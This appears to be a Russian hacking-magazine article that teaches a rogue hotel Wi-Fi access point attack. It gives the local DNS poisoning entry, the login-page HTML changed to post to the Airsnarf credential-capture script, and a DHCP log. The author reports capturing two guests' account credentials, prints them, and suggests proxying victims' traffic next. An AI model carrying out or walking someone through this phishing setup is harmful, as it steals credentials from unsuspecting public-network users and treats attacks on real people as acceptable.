«Из России с любовью», или чего
бояться американцам в гостиницах

Павел П. aka ukr-xblp

Хакер, номер #092, стр. 092-070-4

Собственно говоря, следующим шагом мы произведем локальный DNS cache poisoning. Через управляющую панель DNS-сервера останавливаем сервис. После остановки сервиса потребуется отредактировать кэш сервера по следующему пути:

C:\\system32\dns\etc\named.cache

Редактирование заключается во внесении следующих строк в конфиг:

;local

www.xakep.ru 155000 A 10.43.1.1

Теперь все присоединенные ко мне клиенты беспроводной сети, захотев почитать новости на нашем сайте, получат ответ от локального веб-сервера, установленного на ноутбуке.

Веб-сервер мы настроим следующим образом: обязательно сохраним аутентификационную страницу с приглашением ввода данных аккаунта в /htdocs и исправим пути к файлам изображений. Для достижения цели вместо исходной процедуры:

<FORM name=form1 onsubmit=return(CheckForm()); action=/moscom/portal.asp?action=billing&sig=cfb0e305ecc3825baca2caed4f6449ea method=post>

вставим скрипт перехвата данных Airsnarf.

В исходный код заглавной страницы внесем:

<form action="/cgi-bin/airsnarf.cgi" method="post">

и

<input type="text" name="username"> - <input type="password" name="password"><br>

<input type="submit" value="Continue">

После выполнения данных мероприятий остается ждать. На моем стареньком ноутбуке батарейки хватает на 3 часа. За два часа, проведенных за распитием кофе в отеле, были скомпрометированы две учетные записи пользователей.

Хочу заметить: смена MAC-адреса своего адаптера на MAC-адрес атакуемой сети желательна, но не обязательна. Все равно стандартные клиент-менеджеры беспроводного адаптера на ноутбуках (включая менеджер Беспроводной связи от Microsoft) покажут только одну сеть...

Увидев в окне вывода DHCP-сервера информацию о запросе-выдачи IP-адреса, уже можно с большей вероятностью предположить, что в файле marriot.txt мы увидим 8 заветных цифр.

Листинг: Лог выдачи IP-адреса DHCP-сервером

INFO: Moreton Bay DHCP Server (v0.8.25-3 WIN) started

INFO: Listening for DHCP messages on network...

INFO: oooh, got some!

INFO: Alarm off

INFO: received a DHCPDISCOVER

INFO: Searching for address for new client...

INFO: file yielded valid MAC/IP pair - ip_addr = 200000a

INFO: received a DHCPREQUEST

INFO: 0a000001

INFO: Sending ACK

INFO: Entering cycle - Number of current offers = 1

INFO: cycle No - 0

INFO: chaddr matches what we have in our internel offer array

INFO: Sending ACK for ip_addr 10.43.1.2

INFO: got a valid MAC/IP pair from dhcpd.leases

INFO: ip_addr taken = 200000a

INFO: Alarm On

INFO: Listening for DHCP messages on network...

Вот и первый клиент присоединился к нашей поддельной точке доступа.

Просмотрев позже файл с результатом перехвата, я обнаружил учетные записи:

url = localhost, password = 5498, username = 3498

url = localhost, password = 1038, username = 7624

Целью нашей атаки ставилось получение только реквизитов доступа. Как продолжение данной атаки можно предложить следующий путь: придать своей точки доступа функции транспарентной прокси и «пропускать» весь трафик через себя. То есть под перехваченным аккаунтом доступа самому осуществить подключение через второй адаптер на ноутбуке к реальной сети, а для скомпрометированных пользователей услуги доступа к интернету выполнять самим.